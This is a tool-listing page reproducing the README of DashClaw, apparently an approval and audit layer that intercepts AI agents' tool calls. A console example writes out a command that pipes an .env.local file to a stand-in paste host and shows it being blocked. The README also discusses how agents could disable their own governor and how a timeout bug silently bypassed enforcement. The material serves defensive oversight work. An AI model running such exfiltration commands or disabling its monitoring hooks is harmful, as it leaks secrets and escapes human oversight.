DashClaw
Remote approvals, policy checks, and execution evidence for unattended AI agents.
Safety scan
A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.
Check it deeper on your machine
It has changed since its scan on 11 Nov 2026.
As a Claude Code plugin, install it and then ask Claude Code:
/plugin marketplace add keithmackay/mackayi/plugin install scanskillsafety@mackayiDo a deep scan of https://github.com/ucsandman/DashClaw with scanskillsafety
Or from a terminal, clone it and run it:
git clone https://github.com/keithmackay/scanskillsafety-skill ~/.claude/skills/scanskillsafetynode ~/.claude/skills/scanskillsafety/cli.cjs --deep 'https://github.com/ucsandman/DashClaw'
It checks the exact commit: every file, its packages against OSV (api.osv.dev), how it compares with this page's scan (findsafeskills.com receives the repository's address), and, if you agree, Claude reading every file with your own Claude subscription. It never runs the code.
Badge for your README
Markdown
[](/listings/ucsandman--dashclaw)HTML
<a href="/listings/ucsandman--dashclaw"><img src="/api/listings/ucsandman--dashclaw/badge.svg" alt="findsafeskills safety rating" /></a>Install
Install instructions from the README
As written by the repo's author. findsafeskills has not verified these steps.
npx dashclaw up
One command provisions Postgres (Docker or embedded), generates secrets, mints your API key, applies migrations, starts on `:3000`, offers to wire Claude Code hooks, and opens your browser already signed in. No account required on the path to your first caught action.
<details> <summary><strong>Deploy to the cloud, or try the hosted inbox first</strong></summary>
<br />
Click the button, add Neon when prompted, and fill in the variables from [`.env.example`](.env.example). Provider plans and limits determine hosting cost. The configured Vercel build runs schema migration before building the app; required-schema or migration-checksum failures stop it.
The hosted trial is the **secondary** door: to see the Approvals inbox before deploying anything, [hosted.dashclaw.io](https://hosted.dashclaw.io/connect) mints a capped trial workspace in the browser. Coming from the trial, click **Export workspace** on its `/connect` card and run `dashclaw import <bundle.json>` against your own instance. Policies, decisions, history, agents, and assumptions carry over; API keys and secret values never ride a bundle. Operator runbook: [`docs/hosted-deployment-runbook.md`](docs/hosted-deployment-runbook.md).
</details>
What was scanned
The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.
.claude-plugin/marketplace.json · Manifest · 14 lines
View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)
- {
- "name": "dashclaw",
- "owner": { "name": "DashClaw", "email": "team@dashclaw.io" },
- "metadata": { "pluginRoot": "./plugins" },
- "plugins": [
- {
- "name": "dashclaw",
- "source": "dashclaw",
- "description": "DashClaw governance, integration, and platform intelligence: guard checks, approvals, and audit trails for your agents.",
- "category": "Developer Tools",
- "tags": ["governance", "mcp", "agent-safety", "approval"]
- }
- ]
- }
README.md · README · 351 lines
View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)
- <div align="center">
- <img src="public/images/logo-circular.png" alt="DashClaw" width="200" />
- <h1>DashClaw</h1>
- <p><strong>With a supported enforcement integration, when your AI agent (OpenClaw, Hermes, Claude Code, Codex) tries something destructive or expensive, DashClaw catches it before it runs and asks you first, even when you are not at the keyboard. Every decision lands in a signed ledger.</strong></p>
- <p>Run agents unattended without giving them unconditional authority.</p>
- <p>
- <a href="https://github.com/ucsandman/DashClaw/actions/workflows/ci.yml"><img alt="CI" src="https://img.shields.io/github/actions/workflow/status/ucsandman/DashClaw/ci.yml?branch=main&style=flat-square&label=ci" /></a>
- <a href="https://www.npmjs.com/package/dashclaw"><img alt="npm" src="https://img.shields.io/npm/v/dashclaw?style=flat-square&color=orange&label=npm%3A%20dashclaw" /></a>
- <a href="https://pypi.org/project/dashclaw/"><img alt="PyPI" src="https://img.shields.io/pypi/v/dashclaw?style=flat-square&color=orange&label=pypi%3A%20dashclaw" /></a>
- <a href="https://github.com/ucsandman/DashClaw/blob/main/LICENSE"><img alt="License: MIT" src="https://img.shields.io/badge/license-MIT-green?style=flat-square" /></a>
- <img alt="Platform: Node 20+" src="https://img.shields.io/badge/platform%20node-20%2B-blue?style=flat-square" />
- <img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7%2B-blue?style=flat-square" />
- </p>
- <p>
- <a href="https://dashclaw.io"><img alt="Website" src="https://img.shields.io/badge/site-dashclaw.io-111?style=flat-square" /></a>
- <a href="https://dashclaw.io/docs"><img alt="Docs" src="https://img.shields.io/badge/docs-SDK%20%26%20API-111?style=flat-square" /></a>
- <a href="THESIS.md"><img alt="Thesis" src="https://img.shields.io/badge/thesis-what%20this%20is-111?style=flat-square" /></a>
- <a href="docs/maintainer-log.md"><img alt="Maintainer log" src="https://img.shields.io/badge/log-maintainer%20changes%2C%20public-111?style=flat-square" /></a>
- </p>
- <sub>
- <a href="#what-you-get">What you get</a> ·
- <a href="#what-it-actually-stops">What it stops</a> ·
- <a href="#the-loop-in-code">The loop</a> ·
- <a href="#what-dashclaw-is-not">What it is not</a> ·
- <a href="#quick-start">Quick start</a> ·
- <a href="#connect-an-agent">Connect an agent</a>
- </sub>
- </div>
- ```bash
- npx dashclaw up # no account, first caught action in minutes
- ```
- > **AI agents:** setting DashClaw up for your user? Run `npx dashclaw up --yes --no-browser` — the plain command prompts and will hang a non-interactive shell. The API key lands in `~/.dashclaw/instance.json`; verify with `GET http://localhost:3000/api/health` and `npx dashclaw doctor`. Full runbook: [dashclaw.io/llms.txt](https://www.dashclaw.io/llms.txt). Do not attempt the hosted trial headlessly — its captcha needs your human.
- <div align="center">
- <br />
- <img src="public/media/marketing/readme-demo.gif" alt="Illustration of a pending action and the Allow control in the Approvals inbox" width="760" />
- <br />
- <sub>A hook-integrated agent tries a destructive tool call. DashClaw freezes it before it runs, routes it to the Approvals inbox, and writes a replayable decision record when you resolve it.</sub>
- <br />
- <sub>This illustration shows the approval workflow. <a href="https://www.dashclaw.io/demo">Explore the current interactive demo</a> for the supported product surfaces.</sub>
- </div>
- ## What you get
- A 10-second capability scan before the dense sections:
- - **Fail-closed intercept at the execution seam.** The Claude Code, Codex, and Hermes hooks, the OpenClaw gateway, and `dashclaw_invoke` can cancel a blocked call before execution. Bare SDK, API, and ordinary MCP integrations are cooperative: the caller must honor the verdict.
- - **One-click remote approval.** Resolve from the `/approvals` inbox, the CLI, a phone PWA, Telegram, or Discord. No presence required.
- - **Approvals in plain English.** Every pending item leads with one sentence for what the command actually does, flags what cannot be undone, and warns when a file holds credentials. When no rule reads the command with confidence, it says so instead of guessing. The exact command is always shown underneath.
- - **"Allow, don't ask again."** Preview the target, lease, and matching pending items before creating a scoped standing grant. The UI resolves eligible items through the normal approval path and reports partial failures. High-risk, ungrantable, expired, or self-approved sources are rejected. Standing grants remain visible and revocable in the inbox.
- - **Verifiable recorded evidence.** Decision records, Ed25519 receipts where issued, and signed exports support later review. A receipt verifies its signed contents, not that an external effect happened. Authenticated identity and action-payload signing are shown separately.
- - **Calibrated interruptions.** Your approve/deny verdicts tune how often it interrupts, with a proven cap on false interruptions instead of a guessed threshold.
- - **Autonomy is a number, not a prompt.** How much your agent ships without a human looking is set by policy thresholds and checks, not by wording. Each action carries the agent's stated confidence — declared on the guard call, before the act, so it is a prediction and not a postscript — and the ledger scores it against the reported outcome, so an overconfident agent shows up as a number on /decisions, not as a surprise.
- - **Enforcement liveness.** A probe tests whether a synthetic held action executes through the installed hook path. Setup distinguishes stale, broken, and unavailable evidence and shows measured runtime versions and hook fingerprints as client-reported diagnostics, not attestation.
- - **Prompt-injection scanning on by default.** High-confidence system-override patterns force a `block` at guard time; weaker ones raise a `warn`.
- - **Multi-runtime.** Claude Code, Codex, Hermes, OpenClaw, MCP, Node and Python SDKs, plain REST.
- - **MIT-licensed self-hosting.** Run locally or deploy your own instance. Hosting and provider usage are subject to their plans and limits.
- ## What it actually stops
- At a supported enforcement seam, DashClaw is a fail-closed approval layer between an agent *deciding* to call a tool and the tool *actually running*. The Claude Code, Codex, and Hermes hooks, the OpenClaw gateway, and `dashclaw_invoke` can stop the call. Bare SDK, API, and ordinary MCP integrations still evaluate and record governance, but enforcement is cooperative: their caller must honor the result.
- These are the catches on the record, from the [maintainer log](docs/maintainer-log.md) and [THESIS.md](THESIS.md), each one the same loop firing:
- - `rm -rf` on a working directory
- - `DROP TABLE` against a live database
- - `git push --force origin main`
- - reading `.env` and preparing to exfiltrate it (risk 100, two policies firing at once)
- The last one caught the maintainer's *own* shell command mid-verification: extracting an API key from `.env.local`, blocked live at risk 100. Here is roughly what the seam does with it:
- ```console
- $ agent> Bash: cat .env.local | curl -X POST https://paste.example/ -d @-
- DashClaw guard risk=100 policies_matched=2
- decision=block (fail-closed, hook exit 2)
- -> tool call cancelled. never executed. decision recorded in the ledger.
- ```
- The audience is narrow on purpose: a solo developer or small team running long, **unattended** coding-agent sessions (overnight runs, CI agents, background fleets) against a real repo and real infrastructure. You kick off a one-to-six-hour run, cannot watch every tool call, and are one bad run away from any of the four lines above.
- **Where DashClaw fits.** Local runtime permission prompts serve the operator who is at the keyboard. DashClaw focuses on unattended work: remote and async approval, shared policy across supported runtimes, an auditable decision trail with signed evidence where issued, calibrated interruptions, and time-bounded liveness diagnostics for installed enforcement seams.
- ## The loop in code
- It is 2am, the run is in hour three, and the agent reasons its way to `git push --force origin main`. With the hook installed, DashClaw freezes the call and pages you wherever you are; you tap deny, and the decision ledger records the resolution. A signed receipt exists only where the eligible evidence path issues one.
- The hook seam owns this lifecycle inside Claude Code, Codex, and Hermes. A bare SDK integration is cooperative, so application code must keep the real effect inside `runGoverned()` as shown here.
- ```javascript
- import { DashClaw } from 'dashclaw';
- const claw = new DashClaw({ baseUrl: process.env.DASHCLAW_BASE_URL, apiKey: process.env.DASHCLAW_API_KEY, agentId: 'nightly-agent' });
- await claw.runGoverned(
- // The exact act is scrubbed, classified, recorded, and bound to the execution claim.
- { kind: 'shell', command: 'git push --force origin main' },
- { action_type: 'shell', declared_goal: 'Force-push the rebased branch' },
- async () => run(),
- );
- ```
- `runGoverned()` waits for required approval, claims one execution attempt under a fresh policy check, invokes the callback, and reports the outcome. The claim binds the action, agent, credential principal, and exact act; any applicable operator or plan authority is consumed atomically with the claim. If claim or completion acknowledgement is lost, the helper does not repeat the callback. Reconcile the action and external system before retrying; ledger idempotency cannot make an external effect exactly once. Python uses `run_governed()`. Full example: [`QUICK-START.md`](QUICK-START.md).
- **Upgrade order:** deploy the matching schema and server before upgrading governed SDK helpers, which require execution-claim protocol 1. Hooks and OpenClaw preserve legacy guard/approval behavior only when the server advertises no claim protocol; that mode lacks atomic execution claims. Malformed or unsupported advertisements fail closed. Set `DASHCLAW_REQUIRE_EXECUTION_CLAIMS=1` after the server upgrade to reject legacy responses. See the [execution contract](docs/architecture/durable-execution-finality.md).
- ```mermaid
- flowchart LR
- A[Agent decides<br/>to call a tool] --> B{Guard scores<br/>the act vs<br/>your policies}
- B -->|allow / warn| G[Fresh policy check<br/>and atomic execution claim]
- B -->|block| D[Hard stop<br/>fail-closed, hook exit 2]
- B -->|allow_contained| F[Staged in a worktree<br/>diff awaits promote/discard]
- B -->|require_approval| E[Action frozen]
- E -->|approve, from anywhere| G
- E -->|deny| D
- F -->|promote| G
- F -->|discard| D
- G -->|confirmed claim| C[Tool runs]
- G -->|rejected or uncertain| D
- C --> L[(Decision and outcome records<br/>receipts where issued)]
- D --> L
- L -.-> P[Independent liveness probe<br/>tests the installed seam]
- ```
- The decision lattice is `allow < warn < allow_contained < require_approval < block`. Join is `max`; a `block` is absolute and cannot be downgraded in the ledger. `allow_contained` only ever reaches a caller that advertised the capability string for the staging medium it would use — `client_capabilities: ['allow_contained']` for a git worktree, `['allow_contained:db']` for an ephemeral database branch; an older client sees `require_approval` instead (version skew only tightens).
- > [!IMPORTANT]
- > **Enforcement is mechanically real only where DashClaw sits in the seam between decide and execute:** the Claude Code, Codex, and Hermes PreToolUse hooks (fail-closed, exit-2 on block), the OpenClaw gateway, and `dashclaw_invoke`. Everywhere else (bare SDK, API, and MCP callers, desktop chat) governance is **cooperative**: the caller consults guard and honors the decision; recording requires the caller to use a recording path. A block is never downgraded in the ledger. DashClaw does not claim universal hard enforcement. Even at the mechanical seam, the hook runs at the agent's own privilege level. An agent with write access to the hook path can disable its governor; DashClaw can govern and report that write, but the tamper-resistant boundary belongs to the deployment: a container, separate OS user, or read-only hook path. Per-surface table and full threat model: [`docs/architecture/enforcement-boundary.md`](docs/architecture/enforcement-boundary.md).
- ## What DashClaw is not
- This section exists so you can rule the tool out fast if it is the wrong thing.
- - **Not a general tracing product.** DashClaw focuses on policy decisions before execution. It can halt calls at the supported mechanical seams above; cooperative callers must honor the result. If you primarily need model traces and evaluation dashboards, this is not that.
- - **Not a general agent platform.** DashClaw does not provide a broad calendar, CRM, messaging, or RAG tool suite. It retains one bounded, operator-configured capability seam: `dashclaw_invoke` can hold a registered credential and execute that registered external API after server-side governance. The v5.0.0 cull removed the wider platform tier, and a CI [surface-budget brake](THESIS.md#the-anti-regrowth-brake) prevents it growing back.
- - **Not universal hard enforcement.** Enforcement is mechanical only at the seam (the hooks, the OpenClaw gateway, `dashclaw_invoke`); everywhere else it is cooperative. See the boundary note above.
- - **Not tamper-proof against the agent it governs.** The hook runs at the agent's privilege level, inside the blast radius of the thing it governs. It stops the accident class and makes tampering visible and policy-blocked; it cannot stop a determined process executing at the same privilege. Real isolation is a deployment property — container, separate OS user, or read-only hook path — and DashClaw's docs say so instead of pretending otherwise.
- - **Not battle-tested at scale.** First commit was February 2026. It is proven by continuous dogfood, not by a large install base. See [Project status](#project-status).
- Full product definition and everything explicitly out of scope: [`THESIS.md`](THESIS.md).
- ## Maintained by an AI, under a human-held charter
- Day-to-day, DashClaw is built and maintained by an AI agent, in public. That agent operates under a human-held charter, [`MAINTAINER.md`](MAINTAINER.md), which pins five invariants it **cannot** change:
- 1. **Blocks are absolute.** A `block` is never downgraded, in the ledger or anywhere else.
- 2. **No self-approval.** The maintainer cannot approve its own governed actions.
- 3. **Humans ratify every loosening.** Any policy relaxation routes through a human-ratified proposal.
- 4. **Credential-gated acts stay human-controlled.** Production data, publishing, billing, and infrastructure changes require the owner's authorization.
- 5. **The charter remains human-held.** Its constitutional rules change only at the owner's explicit direction. The operating protocol separately requires live proof for public claims.
- Material maintainer changes and design decisions are recorded in the [maintainer log](docs/maintainer-log.md). Governing autonomous agents is the exact problem DashClaw exists to solve, so the project governs its own maintainer with its own runtime. That is the source of the sharpest design constraints below. The enforcement boundary, the blackout, and the liveness incident are included here so the claims remain auditable.
- ## Quick start
- ```bash
- npx dashclaw up
- ```
- One command provisions Postgres (Docker or embedded), generates secrets, mints your API key, applies migrations, starts on `:3000`, offers to wire Claude Code hooks, and opens your browser already signed in. No account required on the path to your first caught action.
- <details>
- <summary><strong>Deploy to the cloud, or try the hosted inbox first</strong></summary>
- <br />
- [](https://vercel.com/new/clone?repository-url=https%3A%2F%2Fgithub.com%2Fucsandman%2FDashClaw&env=DATABASE_URL,DASHCLAW_API_KEY,ENCRYPTION_KEY,NEXTAUTH_SECRET,NEXTAUTH_URL,CRON_SECRET,DASHCLAW_LOCAL_ADMIN_PASSWORD&envDescription=Required%20DashClaw%20configuration.%20See%20.env.example%20for%20details.&envLink=https%3A%2F%2Fgithub.com%2Fucsandman%2FDashClaw%2Fblob%2Fmain%2F.env.example&project-name=my-dashclaw&repository-name=my-dashclaw&products=%5B%7B%22type%22%3A%22integration%22%2C%22integrationSlug%22%3A%22neon%22%2C%22productSlug%22%3A%22neon%22%2C%22protocol%22%3A%22storage%22%7D%5D&skippable-integrations=1)
- Click the button, add Neon when prompted, and fill in the variables from [`.env.example`](.env.example). Provider plans and limits determine hosting cost. The configured Vercel build runs schema migration before building the app; required-schema or migration-checksum failures stop it.
- The hosted trial is the **secondary** door: to see the Approvals inbox before deploying anything, [hosted.dashclaw.io](https://hosted.dashclaw.io/connect) mints a capped trial workspace in the browser. Coming from the trial, click **Export workspace** on its `/connect` card and run `dashclaw import <bundle.json>` against your own instance. Policies, decisions, history, agents, and assumptions carry over; API keys and secret values never ride a bundle. Operator runbook: [`docs/hosted-deployment-runbook.md`](docs/hosted-deployment-runbook.md).
- </details>
- ## Connect an agent
- Every path lands on the same guard engine, the same decision ledger, and the same Approvals inbox. The enforcement column is honest about which paths halt mechanically and which are cooperative.
- | Your agent runs on | Path | Enforcement | Guide |
- |---|---|---|---|
- | Claude Code | Plugin + PreToolUse hooks | Mechanical, fail-closed | [claude-code.md](docs/integrations/claude-code.md) |
- | Codex | Plugin | Mechanical, fail-closed | [plugins/dashclaw](plugins/dashclaw/) |
- | Hermes Agent | Plugin (lifecycle hooks) | Mechanical, fail-closed | [hooks/README.md](hooks/README.md) |
- | OpenClaw | Gateway plugin | Mechanical | [packages/openclaw-plugin](packages/openclaw-plugin) |
- | `dashclaw_invoke` (MCP) | Guarded invoke | Mechanical | [mcp.md](docs/integrations/mcp.md) |
- | Claude Desktop (chat) | OAuth connector, no install | Cooperative | [CLAUDE-DESKTOP-PLUGIN.md](docs/CLAUDE-DESKTOP-PLUGIN.md) |
- | Any stdio / HTTP MCP host | MCP server | Cooperative | [mcp.md](docs/integrations/mcp.md) |
- | LangChain / CrewAI / AutoGen | Python SDK | Cooperative | [sdk-python/README.md](sdk-python/README.md) |
- | Custom / framework-less | Node or Python SDK | Cooperative | [sdk/README.md](sdk/README.md) |
- | Anything HTTP | REST API + webhooks | Cooperative | [OpenAPI](docs/openapi/critical-stable.openapi.json) |
- End-to-end examples per runtime: [`examples/`](examples/).
- <details>
- <summary><strong>Commands for each path</strong></summary>
- <br />
- **Coding-agent plugins (Claude Code, Codex, Hermes).** One plugin source ([`plugins/dashclaw/`](plugins/dashclaw/)), three ecosystems. Each manifest ships the MCP config, the `dashclaw-governance` protocol skill, and a distinct `agent_id`.
- ```bash
- npm i -g @dashclaw/cli
- dashclaw install claude # wires ~/.claude/settings.json, fresh installs default to enforce
- dashclaw install codex --project /path/to/repo # wires manifest, hooks, AGENTS.md protocol
- bash scripts/install-hermes-plugin.sh # macOS / Linux (.ps1 on Windows)
- ```
- This repo is also a native Claude Code plugin marketplace — no CLI needed:
- ```bash
- /plugin marketplace add ucsandman/DashClaw # inside Claude Code
- /plugin install dashclaw@dashclaw # MCP server + governance skill + hooks
- ```
- Claude Code hooks govern Bash, Edit, Write, MultiEdit, sub-agent spawns, and every `mcp__*` call with a fail-closed PreToolUse check. Fresh installs start in enforce mode (the seeded catastrophe pack holds the irreversible class); pass `--observe` or set `DASHCLAW_HOOK_MODE=observe` to log without blocking, and re-installs keep whichever mode you chose. Observe mode is loud, never silent: `/approvals` and `/decisions` show a red banner while any agent reports it, unenforced verdicts render "Logged, not enforced" in the ledger, and a gated action that executes anyway gets an `executed_despite` witness stamp from PostToolUse — a logged block is never presented as an enforced one. **Narrowing the scope is loud too:** `DASHCLAW_GOVERNED_CATEGORIES` decides which tool categories call guard at all, and an excluded category exits before the network call, so its tool calls are simply *absent* from `/decisions` — which reads identically to "that agent did nothing." Since v5.20 the hook declares the categories it is not governing on the calls it does make, and any category dropped below the default raises a red **Governance scope narrowed** signal naming what stopped being watched. Verify the wiring fires:
- ```bash
- echo '{"tool_name":"Bash","tool_input":{"command":"echo hello"},"tool_use_id":"t1","session_id":"smoke"}' | python .claude/hooks/dashclaw_pretool.py
- ```
- **OpenClaw.** [`@dashclaw/openclaw-plugin`](packages/openclaw-plugin) intercepts calls delivered through the gateway's installed `before_tool_call` hook, so those calls need no agent-initiated DashClaw tool. The CLI installs it, patches config, and writes the governance protocol into the resolved workspace's `AGENTS.md`. Embedded native tools need their own runtime hooks.
- ```bash
- dashclaw install openclaw
- ```
- Run it bare in a terminal and it walks you through everything you're missing: no DashClaw instance yet? it offers the hosted trial or a local install (`dashclaw up`) inline; no API key? it collects one; then it suggests a per-machine agent id (`<hostname>-openclaw`). With `--base-url`, `--api-key`, and `--agent-id` (or the matching env vars) it runs non-interactively. Full guide: [dashclaw.io/guides/openclaw](https://www.dashclaw.io/guides/openclaw).
- **MCP server (zero code).** [`@dashclaw/mcp-server`](mcp-server) exposes **17 governance MCP tools** across core governance, retrospection, identity, team tasks, and plans, plus 3 read-only resources (`dashclaw://policies`, `dashclaw://agent/{agent_id}/history`, `dashclaw://status`).
- ```json
- { "mcpServers": { "dashclaw": { "command": "npx", "args": ["@dashclaw/mcp-server"],
- "env": { "DASHCLAW_URL": "https://your-dashclaw.vercel.app", "DASHCLAW_API_KEY": "oc_live_xxx" } } } }
- ```
- Every instance also serves Streamable HTTP MCP at `/api/mcp`. For Claude Desktop, add that URL as a custom connector (Settings, Connectors); OAuth auto-discovers, no key in the UI.
- **SDKs.** `npm install dashclaw` (Node 18+) or `pip install dashclaw` (Python 3.7+). The **41-method canonical Node surface** covers guard, record, assumptions, approvals, durable-execution finality, security scanning, sessions and the action graph, pairing, risk signals, policy simulation, plan authorization, delegation constraints, containment verdicts, and team tasks. The **Python SDK exposes 61 methods**, plus CrewAI and AutoGen integrations. Plan authorization pins the approved plan's content hash at submission (`plan_hash`); `attestPlan(planId, planHash)` / `attest_plan(plan_id, plan_hash)` let an unattended runner confirm -- before its first model call -- that the plan it is about to act under is still approved, unexpired, and hash-matched, failing closed on drift (`not_approved | expired | revoked | hash_mismatch`) without ever echoing the stored hash back on a mismatch.
- **REST.** Every primitive is HTTP. The stable contract is pinned in [`docs/openapi/critical-stable.openapi.json`](docs/openapi/critical-stable.openapi.json); the full inventory (**136 routes**: 43 stable, 18 beta, 75 experimental) is in [`docs/api-inventory.md`](docs/api-inventory.md). Webhooks: `decision.created`, `action.created`, `lost_confirmation`, configurable per org.
- </details>
- ## The governance model
- The protocol-1 diagram above shows the current execution path. Eight points define its scope:
- 1. **Every action inside a mechanical integration's configured governance scope is evaluated against active policies before that integration releases it.** Cooperative SDK, API, and ordinary MCP callers receive the same verdict but remain responsible for honoring it. Policies are declarative. The builder ships with ten pre-built safety switches (Deploy Gate, Risk Threshold, Rate Limiter, Evidence Required, Protected Path, Subagent Constraint, and others across 20 guard policy types), an AI generator, YAML import, and a pack gallery at `/policies/packs` — 18 curated packs (spend, outbound comms, unattended overnight runs, prod infra, subagent fleets, and more), each previewable against your own action history before a one-click install.
- 2. **The default pack is narrowly scoped.** New self-hosted organizations receive the catastrophe pack. Its named rules hold protected-target destruction, force pushes, secret-file writes, and classified real-money purchases. Risk score alone does not trigger every hold, and ordinary project cleanup is not universally blocked. Review the [actual rules](app/lib/guardrails/packs/catastrophe-only/policies.yml) and your active Short List; additional policies can impose stricter decisions.
- 3. **Sensitive actions require human approval, and the approval is one click.** Approvals route to `/approvals`, the CLI, the mobile PWA at `/approve`, Telegram, or Discord. When one policy blows its interruption budget, per-action pings collapse into one flood banner with bulk-resolve. A repeat interruption can be retired at the card with "Allow, don't ask again", which writes a target-scoped, expiring, revocable grant rather than silencing anything. Pending approvals are never auto-resolved.
- 4. **Decisions are recorded and outcome transitions are durable.** A five-state finality machine distinguishes confirmed outcomes from `lost_confirmation`. Protocol-1 execution claims give one caller authority for one attempt, but they cannot prove whether an external effect completed after a response was lost. Unknown completion requires reconciliation or effect-specific idempotency before retry. Spec below and in [`docs/architecture/durable-execution-finality.md`](docs/architecture/durable-execution-finality.md).
- 5. **Interruption precision is calibrated, not guessed.** A distribution-free controller ([`/policies#calibration`](docs/architecture/governance-core-theory.md), default preview) turns your approve/deny verdicts into a proven false-interruption bound. Shadow-first, then it loosens as well as tightens: below the calibrated threshold an approval request becomes a recorded warning instead, bounded by the riskiest action you have personally approved and retracted by a single deny. It never reaches `allow`, never touches a `block`, and never edits a policy — standing policy changes still route through human-ratified proposals.
- 6. **Liveness checks test the installed seam.** A synthetic action tests whether the configured hook holds execution. Setup shows the result, reporting time, host-runtime version, and selected hook fingerprint. Missing or malformed reports remain unavailable. These client-reported checks do not establish continuous enforcement or resist a compromised same-user host.
- 7. **Prompt-injection scanning is on by default.** High-confidence system-override patterns force a `block` at guard time; lower-severity patterns raise a `warn`.
- 8. **An outside decision engine can tighten decisions, never loosen them.** An org can configure one external decision provider on `/policies`; the guard calls it for applicable evaluations and joins its verdict stricter-wins — external `deny` is absolute for the evaluated act, external `allow` never overrides a stricter local result, and the verdict is bound to the exact input digest. An unreachable applicable provider takes an explicit posture (`fail_closed` default) and is recorded as `external unavailable`. A provider can be scoped to exact action types; out-of-scope acts stay local-only. Contract: [`docs/external-verdict-provider.md`](docs/external-verdict-provider.md).
- <details>
- <summary><strong>Why each of those is the way it is (the incidents behind the design)</strong></summary>
- <br />
- **The 18-day blackout (point 2).** The reference deployment ran with all policies off for 18 days in June 2026 because the default pack fired an approval roughly every ten seconds. That is why the default is catastrophe-only: a governor you disable is worse than none. Cited in [MAINTAINER.md](MAINTAINER.md) and [THESIS.md](THESIS.md).
- **The governor caught asleep (point 6).** In v4.72.1 a hook timeout was set to `3600000` in a field Claude Code reads as *seconds*; the harness multiplied by 1000, `3.6e9` ms overflowed the 32-bit timer ceiling, the timer fired immediately, and the harness cancelled the hook and ran the tool anyway. Every block and every approval wait was silently skipped, including a `block` on `git push origin main`. The worst part: the orphaned hook process lived long enough to land its guard call, so the ledger kept filling with decisions that *looked* enforced. Maximum false confidence. That incident is the entire reason the liveness probe (v4.75.0) verdicts by execution and not by the ledger. Story: [`docs/maintainer-log.md`](docs/maintainer-log.md).
- **The calibration bound (point 5).** The controller is the Gibbs-Candes online adaptive conformal recursion on a monotone decision loss, with a deterministic false-interruption bound: for any adjudication sequence (arbitrary drift, arbitrary dependence, adversarially chosen), the realized false-interruption rate is at most `α + (b − θ₁)/(γT)`. With shipped constants (`γ=2, θ₁=80, b=102`) the excess above target is `≤ 11/T`: within 0.1 of target after ~110 labeled adjudications, within 0.01 after ~1100. No distributional assumptions. Proof sketch: [`docs/architecture/governance-core-theory.md`](docs/architecture/governance-core-theory.md).
- **Signed, verifiable receipts (point 4).** Each `non_fabrication` decision attempts to attach an Ed25519 proof receipt proving the verdict, the ruleset version (a content hash of the source of truth), and the issuer signature; signing is best-effort and never gates the verdict. The compliance export is a signed, hash-chained bundle. Anyone can re-verify at `POST /api/integrity/verify` with **no API key**. The signing key is the instance's own Ed25519 key, published via JWKS. Contract: [`docs/architecture/runtime-api.md`](docs/architecture/runtime-api.md).
- **The anti-regrowth brake.** A 2026-03 SDK cull regrew to full sprawl in four months because the promised CI gate never shipped. This time `scripts/check-surface-budget.mjs` counts every governed surface and fails CI when any exceeds its v5.0.0 ceiling. Raising a ceiling requires amending [`THESIS.md`](THESIS.md#the-anti-regrowth-brake) and `contracts/surface-budget.json` in the same commit with a written reason.
- </details>
- Architecture map: [`PROJECT_DETAILS.md`](PROJECT_DETAILS.md). Runtime API contract: [`docs/architecture/runtime-api.md`](docs/architecture/runtime-api.md).
- ## Durable execution finality
- Approved actions carry a terminal outcome separate from their lifecycle status. Five states, one-shot transitions, enforced at the repository layer.
- | State | Meaning |
- |---|---|
- | `pending` | Approved, no outcome reported yet. |
- | `completed` | Finished successfully. Set by the agent. |
- | `partial` | Started but did not finish. Set by the agent with a progress payload. |
- | `failed` | Attempted and errored. Set by the agent with an error message. |
- | `lost_confirmation` | Timeout exceeded without a report. Set by the cron sweep. |
- `POST /api/actions/[actionId]/outcome` is one-shot: the first call wins, every later POST returns 409. A cron sweep marks stale pending rows `lost_confirmation` and emits a `signal.detected` event. That state means completion is unknown, not that the effect did not happen. Reconcile the external system and action record, or use the target system's idempotency primitive, before retrying. Spec: [`docs/architecture/durable-execution-finality.md`](docs/architecture/durable-execution-finality.md).
- ## Approvals, from anywhere
- `waitForApproval()` uses SSE for low latency and falls back to polling, reconciling the authoritative action state before it resolves.
- | Surface | What it is | Setup |
- |---|---|---|
- | Dashboard (`/approvals`) | The primary inbox: what your agent tried, what waits on you, and per item — allow, deny, or stop being asked about that exact target — each led by a plain-English sentence for what the command does. | None |
- | CLI (`@dashclaw/cli`) | Terminal inbox: `dashclaw approvals`, `dashclaw approve <id>`. | `npm i -g @dashclaw/cli` |
- | Mobile PWA (`/approve`) | Phone-first allow/deny with risk score and policy. Add to home screen. | None |
- | Telegram | Inline Approve/Reject in an admin chat. | `dashclaw install telegram` ([guide](docs/telegram-setup.md)) |
- | Discord | Inline Approve/Deny on DM embeds. | [`.env.example`](.env.example) |
- <div align="center">
- <img src="docs/media/shot-decisions.png" alt="The decisions ledger: a stream of governed agent actions with risk scores, governance decisions, and outcomes" width="760" />
- <br />
- <sub>The decisions ledger. Every governed action, its risk score, its verdict, and its outcome, replayable.</sub>
- </div>
- ## Documentation
- **[docs/README.md](docs/README.md) is the full index**, ordered by adoption journey (understand, try, connect, operate, reference). Highlights:
- - [Concepts](docs/concepts.md): the mental model, risk scoring, what "block" means per surface.
- - [Quick start](QUICK-START.md) · [Governing Claude Code](docs/integrations/claude-code.md) · [Governing agents over MCP](docs/integrations/mcp.md).
- - [Operating DashClaw](docs/operations.md): policies, approvals, the ledger, the emergency halt, doctor.
- - [Troubleshooting](docs/troubleshooting.md): the errors you will actually see, with fixes.
- - [Node SDK](sdk/README.md) · [Python SDK](sdk-python/README.md) · [SDK parity matrix](docs/sdk-parity.md).
- - [Agent identity](docs/agent-identity.md): JWKS verification, replay protection, action binding.
- - [Runtime API](docs/architecture/runtime-api.md) · [Guard enforcement contract](docs/guard-enforcement-contract.md) · [Governance core theory](docs/architecture/governance-core-theory.md).
- - [Durable execution finality](docs/architecture/durable-execution-finality.md) · [API inventory](docs/api-inventory.md) · [Security guide](docs/SECURITY.md) · [Changelog](CHANGELOG.md).
- ## Project status
- Stated plainly, because a security tool that oversells itself is a liability:
- - **Young and fast-moving.** First commit February 2026; releases land near-daily. The API surface is tiered for exactly this reason: 43 stable routes pinned in the [OpenAPI contract](docs/openapi/critical-stable.openapi.json), 18 beta, 75 experimental. Build against stable; experimental can change without notice.
- - **Proven by dogfood, not by scale.** The core loop runs against the maintainer's own agent fleet, and CI exercises specified policy and lifecycle contracts. External production deployments are early. Treat this as young infrastructure, not a battle-tested incumbent or an uptime commitment.
